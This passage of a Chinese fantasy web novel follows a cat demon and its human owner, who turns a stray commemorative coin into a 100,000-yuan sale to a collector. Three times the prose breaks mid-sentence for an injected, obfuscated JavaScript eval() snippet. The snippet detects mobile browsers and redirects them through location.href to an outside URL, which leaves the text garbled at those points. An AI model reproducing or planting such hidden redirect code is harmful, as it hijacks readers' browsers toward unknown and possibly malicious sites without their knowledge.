一出院子,它们顿时像被狗撵似的撒丫子狂奔,一口气跑出两条街,再也看不见观昏晓家的屋顶,才慢慢停下脚步,心有余悸。 “下回……”大橘气喘吁吁,“要不还是让小弟去送吧。” 黑狸花和三花毫不犹豫地点头,瘫软在草丛里。 几个高中女生经过,指着它们笑。 “好可爱!我想过去摸摸!” “你带吃的了吗?” “啊……没有。” “没有你摸什么摸?别打扰人家晒太阳了,走吧。” “哦……” 小三花无奈一笑。 …… 这一觉睡了两个小时,神清气爽,通体舒泰。 观昏晓一边伸懒腰一边坐起身,含糊地喊了声“天窍”,回应的喵叫却在门外,清亮中带着一丝迟疑。 “怎么了?” 观昏晓下床,奇怪地走过去开门。门一开,他就被撞……不,砸进眼底的东西吓了一跳,那种猝不及防之下被当头棒喝的顿悟感,堪比猴哥脑袋上挨的菩提祖师那三记戒尺,随之而来的无语和习惯更是比猴哥三打白骨精后被唐师傅赶走的苦涩心情。 这一瞬间,他心中缓缓冒出三个大字:又来了。 观昏晓盘腿坐下,与蹲坐在三步外的天窍面对面,挡在他们中间的是一堆……很难用言语形容的杂物,分别是——银行卡、信用卡、校园卡、饭卡、酒店房卡、印着小广告的各种卡,以及一堆陈旧生锈的老硬币、光可鉴人的游戏币、浮雕艺术感十足的纪念币。 环卫工人们把祁县各个犄角旮旯都起底一遍,差不多也有这样的收获。 观昏晓微笑:“你给我找的?” 天窍歪头,一脸“我不知道你在说什么”的茫然表情。 观昏晓起手就是一个轻飘飘的脑瓜崩:“你再给我装。说吧,你召集了多少小弟找了多久才掏出这么些东西?我们祁县的土地爷工作也不容易,你们搜刮祂老人家的私房钱做什么呢?” 天窍被他一敲,顺势躺下了,耍赖似的压着他手臂滚来滚去,试图将自己从这件事里撇清。 观昏晓很吃它……不是,很不吃它这套,却也没有抽回手,只摆出铁面无私包青天的严肃脸审它:“是不是你找来的?” “喵呜!”天窍同样严肃脸,理直气壮地超大声否认。 确实不是它亲自找的,这没毛病。 “你啊。”观昏晓用指尖戳它脑门,像敲电子木鱼一般,“不是和你说了我不缺钱吗?宝贝儿,我能养活自己,你说你这么大点的猫,怎么这么爱操心?” 那又不冲突,我就是想养你啊! 这样想着,天窍翻坐起身,一个飞扑越过地上那堆杂物,巴在观昏晓脸上,撞得他身体后仰,倒在地毯上。 观昏晓抬手拢住它毛茸茸的身子,拎着后颈皮提在眼前轻晃,终究没抗住它那双圆滚滚的猫儿眼的眼神洗礼,叹了口气。 “好,你说不是就不是。不过亲爱的,下次开门,我希望不要再看到这种甜蜜的小惊吓,你能答应我吗?” “……唔。” 片刻后,观昏晓将地上的杂物分门别类地放好。 小广告撇一边,银行卡、校园卡、饭卡和酒店房卡放一堆,硬币与游戏币分开,纪念币单独放。 银行卡那堆新旧不一,新的那些他打算拿到派出所放失物招领处,有些有使用期限的已经过期了,则是跟小广告一起扔掉。 硬币倒是能用,但用着不方便,观昏晓也不缺这仨瓜俩枣,决定先拿它们和游戏币一块儿当鹅卵石使,扔缸里让鱼养它们。 至于剩下的几枚纪念币…… 观昏晓斜睨窝在旁边的天窍一眼,它看上去没什么精神,耳朵蔫蔫地耷拉着,仿佛没睡醒,细看才能看出一点点不高兴的痕迹。 他无声地笑了笑,把天窍拉过来一点。 “生气了?觉得我辜负了你的心意?” 天窍枕着爪子转头看他,眼中没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810511|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气恼,而是困惑居多。 它只是不明白,自己明明是按照观昏晓的需要对他好,也考虑了他的想法,为什么他还是拒绝让自己养? 麻雀收下了不吃,水果收下了要还,这么多卡一张不取,到底是哪里出了错? 天窍虽然是已经化形的妖,但它长久生活的那个时代早已远去,随着千百年的漫长沉睡,对于过往经历的种种,它也早就忘得差不多了。 重归人世后,它为自己的自由奔忙了多年,沿途风景寥寥,唯有观昏晓曾让它略停脚步,之后又陷在与同类的抗争杀戮中,几乎没有时间好好看过这个全新的、陌生的世界。 对,它不了解这个世界,就像它不了解观昏晓的想法。 记忆里,那个给它烤麻雀的孩童,骑着自行车飞驰过林荫的少年,以及雨中撑伞走过的身影,都只是短促的重逢片段,是浮光掠影。 它好像真的不知道观昏晓在想什么,甚至不清楚他这些年独自走来都经历过什么,为何会养成现在这副性子。 天窍瞪大眼,终于发现这个极其严重的疏漏。 它不由得伸爪按住观昏晓的手腕,爪尖弹出肉垫扣进他的皮肉,激动之余,却还本能地收了力度,没有弄伤他。 在天窍莫名彷徨不安时,一只手落在头顶,轻轻抚过它的后脑和背部,温软的力道带着安抚意味。 “谢谢,你给我的东西都很好,只是我不需要,你也不需要。” 不知道为何,观昏晓突然想把面前这只小不点当成人来对待,没有敷衍地哄它,而是认真解释。 “我不缺吃穿,也不缺你和你的麻雀小弟们一口饭。你要是愿意,把你的猫猫大军带过来让我喂也行。” “我不缺钱,虽然存款不多,但需要花钱的地方更少,一年存一万,离我退休还有三十多年,到时候我就有四五十万的存款,可以快快乐乐活到死。” “倘若那时你还在,我们两个垂垂老矣的老家伙还能一起散步,一起旅游,一起逛公园。走累了,我就坐在台阶上,你趴在我的腿上,我们一起晒太阳,晒月亮,看老头老太太们跳广场舞。” “我的人生规划一直很清晰,现在多了个你,也只是往速写画旁边添一道身影。或许有很多波澜曲折在前方等着我,但它们里面一定不包含吃不起饭、没钱去乞讨、晚年睡大街这些。” “你要是真想送我什么东西,每天早晨起来给我摘朵花不比这些乱码七糟的强?我自家就种着茉莉和睡莲,外头还有两排紫穗槐,附近那小公园里四季时令花多不胜数,都不用你费心去找。” “所以……”观昏晓拈起一枚纪念币用拇指顶着往上一弹,再伸手接住,“明天可以给我折两枝茉莉吗?” 天窍怔怔地仰头望他,他那因为过分英俊而总带着几分邪气的眉眼舒展开来,一如他把自己放进未来时那样,漫不经心,又温柔认真。 它忍不住点了点头。 观昏晓眉尾微挑,很快又放下去,看着它笑了一下。 “纪念币我就收下了,至于这些卡片,有些该扔,有些要送到派出所去,找不找得到失主无所谓,反正不能让它们落进别有用心的人手里。” 说着,他拍拍裤腿,把天窍提溜到肩上。 “回来路上顺便去市场买菜。对了,你想吃什么?” “喵喵喵!” 8. 猫猫立大功 从派出所出来已经是三点半之后的事,观昏晓擦掉掌沿蹭上的水性笔墨水,回想了一下自己登记时填写的内容,再次确认没问题,才继续迈开脚步。 周日的下午,街上有些空荡,小县城里私家车也不多,人一少就显得格外安静。 派出所外的道路宽阔笔直,路边种着两排高大的梧桐,干挺枝阔,地上落着薄薄一层树叶,有环卫工人正在清扫。 阳光穿过稀疏的枝叶洒落在地,观昏晓走在错落的光影间,天窍贴着他右腿小跑跟随,尾巴在他脚踝上缠一圈,亲昵又带着隐隐的禁锢意味,双眼微微眯起,似乎很享受与他漫步街道的时光。 转过路口,一人一猫迎面看到两间并排的银行,左边这间大门上贴着存钱送礼品的活动海报,右边这间门口站了好几人,工作人员正拿着宣传单给客户介绍今年新出的纪念币套装。 “……纪念册里的纸币都是真钱,而且是连号的,非常有收藏价值。纪念币就更不用说了,我们之前卖出的那几套现在炒到了很高的价格,新出的这套以后也不会复刻,都是绝版的,买到就是赚到,过了今天我们就停售了……” 工作人员的声音远远传来,传进观昏晓耳朵里,忽然让他心中一动。 在街边长椅上坐下,他拿出那几枚纪念币仔细瞧了瞧。 这些纪念币不知道是哪一年被遗落在边边角角的地方,沾满了泥土污渍,观昏晓之前用湿巾擦了两遍才勉强露出原本的花纹,好在没有缺角损坏,也没被腐蚀。 但他不玩这个,对纪念币的认知也只停留在小时候见过的印着两个特别行政区的一毛、五毛硬币上,自然看不出个名堂。 所幸手机上有个应用叫浏览器,这个应有还有个功能——拍照识物。 观昏晓兴冲冲地拍下纪念币照片,挨个搜索。 前几枚倒没什么稀奇的,都是景区特供版,有点收藏价值但不多,市价基本在两三位数以内。 观昏晓并不介意,美滋滋地搓了把猫猫头:“叫你招财猫还真给我招上财了,这几枚纪念币起码值两天饭钱,我一会儿就挂到二手平台上。” 说着,他顺手拍下最后一枚纪念币的照片,点击搜索。 天窍巴在他腿上,懒懒地仰着脑袋让他摸。 钱多钱少它没什么概念,观昏晓高兴就好。 它正想着,下一秒就听见观昏晓来了句字正腔圆的“卧槽”。 天窍竖起耳朵,抬头看向观昏晓,就见他瞪大双眼,满脸惊愕,活像在恐龙博物馆里看见霸王龙化石原地复活,攥着手机的手微微颤抖。 他宛如一位刚过完九十大寿的行将朽木的老人家,颤巍巍地将最后那枚纪念币捧到眼前,照着搜索结果中的图片一根花纹一根花纹地对。 天窍不明所以,支起身把两只前爪搭在他小臂上,伸长了脖子往屏幕上看。 只见搜索页第一条的词条下排出三张照片,第一张是纪念币正面图样,一枝梅花浮雕。第二张是背面,一圈少数民族文字围着一个繁复的徽记。第三张是某二手平台的截图——已自费更改搜索词条,高价求购该枚纪念币,底价十万,开价随意,上不封顶。 天窍瞬间瞪圆了眼睛,把眼尾两条飞挑的眼线都扽直了。 它好歹在人间呆了这些年,虽然几乎不入世,对钱没有概念,但十万这个数字即使套到它熟悉的计费单位上也依旧惊人. 这样一枚金属圆片居然价值十万?! 猫猫战术后仰:人类心,海底针.jpg 天窍诧异,观昏晓比它更诧异,狠狠掐自己大腿一把确定不是在做梦后,疼得直嘬牙花。 他小心翼翼地将纪念币收进口袋,然后捧起天窍用力亲了一口:“小财神猫,我错了,你带给我的不是甜蜜的惊吓,而是从天而降的金饼!” 这可是一枚底价十万的纪念币!他全部身家加起来都没有十万,天窍居然随随便便铲个土就给他铲出来了!? 有些事情确实是选择比努力重要,不信不行啊。 观昏晓这边为了十万块感慨万千,天窍则是被他亲懵了,黑亮的毛发下隐隐透出些红色,反折到脑后的耳廓内红得好像要滴出血来,眼神却是不躲不闪地盯着他,搭在他锁骨处的爪子蠢蠢欲动。 他亲了我……他是不是心里有我? 天窍浑身发烫,脑袋晕晕乎乎的,思绪不知怎么拐到了普信的南墙上,差点一头把墙撞裂。 好在这个莫名其妙的念头来得快去得更快,观昏晓的视线一挪开,天窍就如梦初醒似的回神,抖抖胡须,默默把脸埋进他的胸肌蹭了蹭。 在自己变回人身之前,与观昏晓的所有亲昵接触都不做数,一切感情升温之类的感觉都是错觉,假的,它还是贴贴真实的胸肌清醒一下,静候时机吧。 对于它的想法,观昏晓一无所知,大爷似的往椅背上一靠,哼着小曲儿摸到截图里显示的二手平台,一搜纪念币,这位财大气粗的老哥的求购页面就跳了出来。 标题也很醒目——重金求子!你问什么子?当然是千禧年央行发行的时代系列纪念币“古貌今姿”! 这哥们一看就是学新闻学的。 观昏晓点进页面,100万浏览量、58万收藏和12万评论扑面而来,险些闪瞎他的眼睛。 页面的发布人有钱有闲,不知道什么时候已经把截图上的10万底价提到了15万,而且几乎每条评论都回复,页面详情最底下还有一句PS:今天是我求购纪念币失败的301天。 毅力感人,财力惊人。 观昏晓突然感觉兜里的纪念币变得沉甸甸的,为了避免出现给人家希望又让他失望的情况,观昏晓重新切回搜索页,照着词条里的纪念币正反图片和防伪标识反复核对了好几遍,确认无误后才联系发布人。 观黑白:你好,出物。 死人微活:你有我主页要的纪念币?!那可是二十多年前的老古董,你确定有?!不是拿假货涮我玩?! 看着那六个仿佛要扎穿屏幕砸自己脸上的标点符号,观昏晓不禁有些同情这位土豪收藏家。 他以前估计没少被高仿假货糊脸,字里行间满满都是心有余悸的味道。 观黑白:东西在我这里,有点旧,我拍给你看。 死人微活:好好好!旧点没事,破损也没关系,这些都能靠钱解决,保真就行! 看到对面的回复,观昏晓索性录了段视频发过去,不加滤镜,全方位展示纪念币的状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810512|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态。 隔了几十秒,那边再度回复:状态是差了点,你捡到的吧? 观黑白:我家猫带回来的。保真吗? 死人微活:我收纪念币的能卖你生瓜…… 死人微活撤回一条消息。 死人微活:打错字了打错字了。 死人微活:是真货,作为防伪标识的梅花瓣里的露珠还在,那是特殊工艺,伪造起来很麻烦。 观黑白:行。我这做的算无本买卖,价格就按原本的来吧,10万,你看怎么样? 死人微活:??? 死人微活:兄弟敞亮! 观黑白:那我开个出物页面,你先付你5万块定金,剩下的5万收到货再给。 观黑白:记得填真实地址,我明天寄给你。 死人微活:这样太麻烦了,也不安全,我们面交吧,一手交钱一手交货。你约个时间地点,我都可以。 天窍伸个脑袋看观昏晓和买家聊天,看到这里,眉头的位置向上挑了挑——山匪口吻。 观昏晓挠挠它头顶细软的绒毛,快速打字:我在南水城祁县,这周末来不及了,下周六中午十一点,我们在悬瀑街的咖啡厅交货可以吗? 土豪哥一口答应。 观昏晓开了定金页,几分钟后,对方迅速完成拍下付款收货评价一条龙服务,还发了张金毛微笑表情包。 观昏晓笑了笑,关掉手机,仰头懒洋洋地晒太阳,拖长了尾音感慨道:“马无夜草不肥,人无横财不富。再来几笔这样的天降横财,我就可以原地退休,躺平养老了……” 天窍听见这话还没来得及做出反应,就见他猛地坐直身,一把将自己捞到腿上肚皮朝天地摊平,捏着它两只前爪一本正经道:“我刚刚说着玩的,你可别再带着小弟们去薅土地公祂老人家的私房钱,听到没有?” 说着,他点点天窍的鼻子,天窍习惯性伸出舌头舔鼻尖,舌尖卷过他指腹的瞬间僵了一下。 “喵、喵呜——”天窍望着他近在咫尺的英俊面庞,结结巴巴又认真地应下。 “乖。”观昏晓满意一笑,“走了,我们去买菜。” 天窍跟在他脚边,昂首挺胸地迈开四方步,每一步都走出了王霸之气——假如没有顺拐的话。 不远处,一名年轻帅气,气质清爽的大学生举起手机,连按三下快门,拍下观昏晓与天窍的侧影。 他勾起嘴角,将照片转发给猫在另一侧守株待兔的同事,嘴里哼着观昏晓同款老年人小调,发过去两句话: 林摹丑:请看凶残大妖与他的小白脸炸街图。 林摹丑:大妖还顺拐了。 隔壁街,男人接过小吃摊主递来的臭豆腐,道了声谢,转身走出树荫。 他叉起一块臭豆腐送入口中,优雅得仿佛用刀叉在吃七分熟的高档牛排。日光穿过细碎的刘海,照进他文雅秀气的眉眼,黑白分明的眼眸犹如静水深泉,古井无波。 直到他看见那两条消息。 “咳、咳咳……” 听到不远处撕心裂肺的咳嗽声,小吃摊主边摊面饼边抬头望去,见那位还没走远的客人咳得脸颊通红的样子,无奈摇头。 “你看,我就说不该点变态辣。” 9. 日常 是夜,天窍没有出门,也没有召集猫猫队干大活,而是蹲在枕边静静凝视观昏晓的背影,思索着近日发生的事。 主要是思考自己到底要怎么做才能达成“养好心爱的两脚兽”这一宏愿。 它心里略略有几分惆怅——你到底想要什么,而我又能给你什么呢? 不在观昏晓的注视下,天窍恢复本性。眼尾的灰白色绒毛与半闭的眼皮形成夹角,衬着它淡漠的神色,犹如剑鞘中泻出的一线寒光,泛滥起见血封喉的凛冽。 不再装乖卖萌,不对任何人言听计从的它褪去刻意伪饰的狡黠灵巧,流露出冷硬的底色。 蓦的,熟睡中的观昏晓突然翻了个身,半埋在被子里的脸脸正对着它的方向,眼睫微抖,好像随时可能掀开。 天窍一愣,忙不迭地调整表情,可当它换回平日的温和神态时,观昏晓却并没有睁眼,只是含糊地咕哝了一句:“天窍,你大半夜的不睡觉,又要出去挖土吗……” “……” 天窍弯了弯嘴角,这个笑容是真心的。 算了,难题留到明天再思考吧,现在最重要的就是陪他睡个好觉。 这样想着,天窍矮身钻到观昏晓的臂弯间,挤进他与被子之间的空隙,探个脑袋抖抖毛,下巴垫在他的手上。 “晚安。” 次日一早,观昏晓比平时早醒了半个小时,迷迷糊糊间感觉胸口发烫,随手拍了两下,拍出两声带着颤音的猫叫。 天窍钻出被窝,用嘴唇碰了碰他高挺的鼻梁,胡须柔柔扫过他的鬓角,蹭出些微痒意。 观昏晓还没睁眼,心情就莫名雀跃,隐约有点说不清道不明的期待。 他跟扒在自己脸上的猫道了声早,并未像平常那样赖床,而是一个鲤鱼打挺翻身下床,手指没进乱糟糟的头发耙几下,随意地拉开房门—— 门口地板上放着一枝茉莉,翠叶雪花,犹沾晨露,在秋日微凉的空气里安静散发着清冽微涩的浓香。 观昏晓扬起好看的薄唇,弯腰拾起花枝走出客厅,拿出鸟窝里立着的凋谢了大半的紫穗槐,将茉莉插/进去。 天光乍泄,麻雀们在原木色的阶梯间跳跃玩耍,梳毛磨喙,闻见茉莉花的香味好奇地凑过去,正要啄一口花,就被跟出来的天窍一记眼刀逼退,昂首挺胸地装松弛。 观昏晓伸了个懒腰,一回头刚好瞧见这幕,懒散地笑道:“别吓唬它们,我给你找个对手。你去水缸里帮我摘朵睡莲吧,那条霸王鱼霸占我的睡莲很久了,谁碰甩谁一身水,猫和鱼是天敌,让我看看你能不能压得过它。” 缸中那尾锦鲤是某个损友前年送他的生日礼物,此鱼性格凶悍,霸道自我,绝不与其他鱼同养,来一条斗死一条,上辈子应该是一枚没能等到被渔民捞上岸的鱼雷。 它做鱼,主打一个随心所欲。住在水缸里,说明水缸是它的,除了换水谁也不让碰。睡莲长在它的水缸内,同理可得睡莲也是它的,看可以,摸不行,摘更不行,谁来泼谁。 观昏晓经常认为自己活得还没它坦荡自在,每每被工作上的烦恼惹急眼了,就开始许愿下辈子也要当它那样的鱼,守一片水塘种几朵荷花,再来个像他自己这样大方又宽容的饲养者,任劳任怨,任打任骂,简直快乐齐天。 想到这儿,观昏晓有天大的气也顺了。 “喵呜!”看我的! 天窍不知道这些,却被观昏晓的话激起了斗志,几百岁的大妖冲冠一怒为蓝颜,对手是一条蠢锦鲤,这要是传出去,以后同僚聚餐它只能和狗坐一桌。 但猫大侠显然不在意这些,它跳上水缸的边缘,四爪牢牢立在狭窄的缸沿上,尾巴低低垂下,只勾起一截尾尖轻轻摇摆。 缸里荷叶圆圆,浸水后色泽深绿,将缸壁与水也映成相近的颜色。 躯干雪白,头与尾巴均匀分布着红色斑痕的锦鲤在荷叶下悠游自得,时不时探出水面看一眼,再沉进去,绕着睡莲的枝茎慢慢打转。 它不怕天窍,甚至没拿正眼看它,仿佛一个历经沧桑的老者,气定神闲且蔑视一切。 观昏晓种的睡莲一般在早晨六到八点开花,此时接近八点,花开正盛,天窍试探性伸出爪子触碰其中一朵,但还没碰到花瓣,锦鲤就像闪电似的从水下冲出,尾巴扬起水花的同时一口咬向天窍的前爪。 天窍猛然缩手,踏着水缸边沿快速跑出半圈,让它咬了个空,也泼了个空,只能不甘地落回水中。 鱼师傅的传统手艺遗憾失灵,还没来得及使出planB,就被猫大爷抓住时机,抢先出手,一爪子拍在它头顶,用巧劲儿将它抽得跟陀螺似的滚了几圈,在水面上翻起肚皮,鱼鳞也被刮下来几片。 天窍甩甩爪子,漫不经心地舔舐爪垫间弹出的爪尖,如同刺客杀完人坐在满月下的屋顶上擦刀。 锦鲤被打傻了,愣愣看着它舔完爪子,当着自己的面摘下一朵睡莲,叼在口中,再大摇大摆地离去。 鱼师傅:??? 世风日下!人心不古!身强体壮的小年轻居然来偷袭我这个八十岁的老前辈!还抢我的花! 这世上是没有天理,没有王法了吗?! 锦鲤气得追着尾巴转了好几圈,疯狂撩水拍叶,无能狂怒。 全程围观的观昏晓乐得见牙不见眼,展开手臂抱住扑上来的天窍,接过睡莲夸它真棒,再冲锦鲤嘚瑟地挑挑眉,咧出一口白牙。 “该!现在知道你那三脚……咳,三脚鱼功夫不上台面了吧?这就叫恶鱼自有恶猫磨,下回你再撩水泼我,我就让天窍帮你美甲——你问什么甲?嗯哼,鳞甲也是甲。” 恶猫天窍转了转耳朵,在锦鲤跳出水面朝观昏晓吐水时眼睛一眯,缓缓捏紧了火/药包那么大的拳头。 “……” 锦鲤沉默地落回水里,发出“扑通”一声。 …… 一周时间眨眼过去,周五晚上,观昏晓刚洗完澡出来就听见手机响了,捞过来一看,是土豪哥提醒他别忘了明天交货的消息。 他回了个“OK”,坐在床边擦头发。擦着擦着忽然觉得少了点什么,四下查看一番后明白过来,哦,少了一只黏人的猫。 吃过晚饭后天窍就不见猫影,现在都两个小时了,猫呢? 观昏晓虽然不认为天窍会遇到危险,却还是忍不住担心,起身找出门去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810513|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “天窍……天窍?” 彼时,天窍蹲坐在院门外,与手底下三大护法金刚商讨夜晚捕猎的事。它一直记着观昏晓不喜欢自己半夜出门,就先否了黑狸花后半夜逮老鼠的提议。 “抓老鼠可以,换个时间。”它下颌微抬,神色庄严如莲花台上的佛像,“十二点后我必须留在家里,我不在,我家两脚兽睡不安稳。” 话音刚落,它就听见观昏晓喊它名字的声音,嘴角微微上扬:“看,才一会儿见不到我他就着急了。” 说着,它抬爪将门推开一条缝,冲观昏晓软软喵了两声。 观昏晓看见门外伸进来的圆圆猫头,松了口气,边走边说:“原来你在……嗯?陛下这是在跟臣子奏对呢?” 门口三只探头探脑的田园猫让他停下了脚步,迎着三双满是好奇的大眼睛,再看一脸宠溺的天窍,他突然有种自己是在天子议事期间闯入搅扰的妖妃的既视感,不自然地摸了摸鼻尖。 “妖妃”弯腰戳了下猫陛下的脑门,睡衣松垮的领口微垂,露出一截精巧的锁骨,晚风隐隐吹来他身上竹松沐浴露的清香。 “别在门口,让它们进来吧。不用管我,聊你们的。” “喵呜呜——” 天窍目送观昏晓走回房间,转身的刹那敛起笑意,矜傲地点点下巴,率先迈向茉莉花荫底趴下。 护法金刚们瞬间回归内阁重臣的定位,互相对视一眼,轻手慢脚地跟了上去。 “除了老鼠,南边的公园里有不少新来的鸟群,捕猎时间的早晚无所谓,重要的是我们能不能抓些别的猎物换换口味?”大胖橘继续之前的话题,矜持地抹了抹嘴。 “可以,但数量要控制在二十只以内。”天窍道,“有些候鸟上头有人,本身族群数量也稀少,管得很严。不想被抓去阉掉的话,你们注意把握分寸。” 黑狸花和大橘闻言下腹一紧,默默将身前并拢的爪子并得更紧。 小三花笑了笑,刚要说话,就看到才进去不久的观昏晓拎着三个盘子走出客厅,在台阶下一字摆开,里面放着煎过的火腿和鸡胸肉,拌了点米饭,油香四溢。 “你们继续,聊完吃两口再走。” 观昏晓笑眯眯地摆摆手,转身又回了房间。 三花妹妹目不转睛地打量那三盘食物良久,矜持地舔了舔爪子:“老大,不如我们明晚再开始捕猎吧,不能辜负了嫂子的心意。” “对对对!三花说得对!”黑狸花和大胖橘用力点头。 要不是天窍积威甚重,一个打它们百个都绰绰有余,它们这会儿已经扑上去化身铲车开始铲饭了。 “……你们吃饱了,你们的小弟还饿着呢。”天窍努力板着脸,却仍然压制不住眼底那因为“嫂子”二字而洋溢的高兴,“算了,今晚我不出面,你们吃饱后带着其他猫狩猎,按照老规矩所得平分,偷懒的减半。明晚再正式实行新的狩猎计划。” “好耶!” “谢谢老大!” 房间里,观昏晓听见院中抑扬顿挫各有风格的猫叫,不禁笑了一下。 他之前想的没错,天窍果然不是只普通的流浪猫。 10. 煤球 周六,十一点,悬瀑街咖啡厅。 祁县风俗偏传统,喝茶的多,喝咖啡的少,喜欢后一种饮料的多是年轻人,但他们更喜欢便宜方便的外卖或速溶咖啡,因而咖啡厅里人很少,寥寥几个还是来吃午饭的附近的加班族。 靠窗位置坐了个眉目清俊的少年,衣着打扮看似随意,其实精细到了每根头发丝翘起的弧度。 他戴着一只蓝牙耳机打电话,修长的手指轻叩着玻璃桌面,百无聊赖地听对面的人唠叨,半天才回一句。 几分钟后,他不耐地翻了个白眼,转头对着落地窗整理发型。 街对面一道身影忽然闯进他的视野,他眼神一凝,按着耳机道:“别说了别说了,他们过来了。放心,我知道怎么做。” 匆匆说完,少年不等那边回答就挂断了电话。 与此同时,观昏晓推开咖啡厅的门走了进来,门板碰到风铃撞出叮铃当啷的响声,仿佛在为他的出场造势。 少年抬手唤他:“请问是观黑白吗?” 观昏晓循声望去:“死人微活?” 这四个字一出口,正在吃饭的加班人呛了一下,磨咖啡粉的服务员也是手一抖,表情一言难尽。 唯独那少年仿佛完全没感到不对劲,笑嘻嘻地答应:“是我是我!我的本名叫司巍藿。” 观昏晓一乐,就冲这个化用真名取网名的起名逻辑,他们一定能合得来。 他走到司巍藿对面坐下,拿出包在布袋里的纪念币:“我是观昏晓,喏,你要的东西,验验货吧。” “爽快!” 司巍藿冲他竖起大拇指,也不矫情,倒出纪念币仔仔细细查看许久,抚着胸口长舒一口气:“没错!就是这个!我找了它快一年!可算找到了!” 见他那么激动,观昏晓好奇地问:“这套纪念币收藏价值很高吗?我查过,整套纪念币最初的售价不到五百元,好像也没见有谁炒过它。” “单论收藏价值肯定达不到单枚十万那么高,但全套缺一就不一样了。”司巍藿晃了晃食指,“而且我买它不是为了自己,是为了我妈。” 司巍藿出身于富裕家庭,父母都是颇有名气的大商人,一个搞食品,一个搞高精尖设备,前几年赶上国企收编搭了快车,生意都做到海外十几国去了,用富得流油形容绝不为过,搁古代那也是圣眷正浓的顶级皇商。 人一有钱,某些爱好自然而然就会冒出头,司巍藿的父母也不例外。夫妇俩一个爱上了瓷器收藏,一个致力于集齐建国以来央行发行的所有纪念币,“古貌今姿”就是后者全图鉴路上的最后一块拦路石。 偏生这套纪念币当年就出得少,买的人不是已经作古把东西弄丢了,就是她的同好不愿意出物。母子二人兜兜转转找了一圈,好不容易以散买的方式集齐了绝大部分,唯独那枚刻着少数民族文字的硬币怎么都找不着,可把两人愁坏了。 司巍藿跟观昏晓大吐苦水:“你知道这套纪念币当年一共发行了多少吗?十套!整整十套!我听到这个庞大的数字时好悬没厥过去,我说我滴娘啊,您可真有眼光,那齐白石的《虾》都不止画一幅呢,天底下最难找的一枚钢镚怎么就让您撞上了呢?诶,你猜怎么着?” 这人说话比春晚小品可乐,观昏晓忍着笑捧哏:“怎么着?” 司巍藿两手一摊:“她老人家,一个身家上亿的成功女士,踩着八厘米的恨天高撵了我三条街,武器还是一把掉毛的扫帚。” 观昏晓实在没忍住笑出了声。 两人正闲聊着,服务员憋着笑把咖啡端了上来,回去的时候还捂着嘴,差点连托盘都忘了拿。 观昏晓不爱咖啡,但啜了一口后发现味道还可以,不苦不甜,入口丝滑,又一口气喝了半杯。 再看对面,土豪哥已经牛饮完一整杯喊服务员续水了,不知道的还以为这里是老北平茶馆。 两人又聊了两杯咖啡的功夫,司巍藿把钱付了币拿了,一看时间差不多十二点,大手一挥说道:“走吧,吃饭去,我请客,你想吃什么都行。” “不用不用,我不喜欢下馆子,外面的饭再好吃也没有自己炒的有锅气。”观昏晓钱收得爽快,拒绝也爽快,仿佛收养天窍前把苍蝇馆吃成御膳房的不是他一样,“你自便吧,我们有机会再聊。” 司巍藿笑眯眯看了他几秒,那几秒令他心生怪异,但没等他想明白,土豪哥就露出了财大气粗的笑容:“行,有机会再聊。你生日哪天?我给你送辆代步车,就当是对你帮了我这么大忙的额外感谢。” 观昏晓:“……?” 谁说这纪念币不好?这纪念币可太好了! 观昏晓十分感动,然而还是婉拒了。 两人从咖啡厅出来时,躺在门边花坛边沿懒懒舔毛的天窍一骨碌爬了起来,抖抖耳朵跳下地去,跑向观昏晓。 见到它,司巍藿下意识止住脚步,脸上闪过一丝不自在。 观昏晓并未察觉,迎上前接住飞扑过来的小黑猫,顺手在它背上胡噜两下。 “让你等久了,抱歉。”他笑道,“下次带你出门跟人见面,我会记得找个能让宠物进的地方。” 天窍仰头蹭蹭他的下巴:“喵……” 这一声尾音绵长的猫叫令司巍藿浑身过电似的打了个寒颤,再瞅观昏晓,他倒很是受用,微笑着拈掉脸上的猫毛,即使被那调皮的猫再蹭回去也不生气,只轻轻拍了拍它的脑门。 调皮……噫! 再多看一眼就要折寿,司巍藿挡了下眼睛,清清嗓子说:“那什么,没事我就先走了,有空再聊。” 观昏晓抱着天窍转身:“嗯,再见。” “再……”司巍藿刚扬起嘴角,冷不丁就对上了天窍的视线,它眼底的似笑非笑莫名带有一种瘆人感,令他笑意发僵,“……见。” 观昏晓将这一人一猫的互动看在眼里,若有所思地挑了挑眉尾,却什么都没问,也没说。 …… 悬瀑街是祁县最热闹的步行街,两三百米长的道路两侧店铺林集,餐馆、超市、五金店、各种专卖店等杂糅在一起,中间夹杂着一两栋民房,结构混乱,又意外的给人高低错落的美感。 观昏晓是个懒人,能网购就绝不逛实体店,很少来这一带。 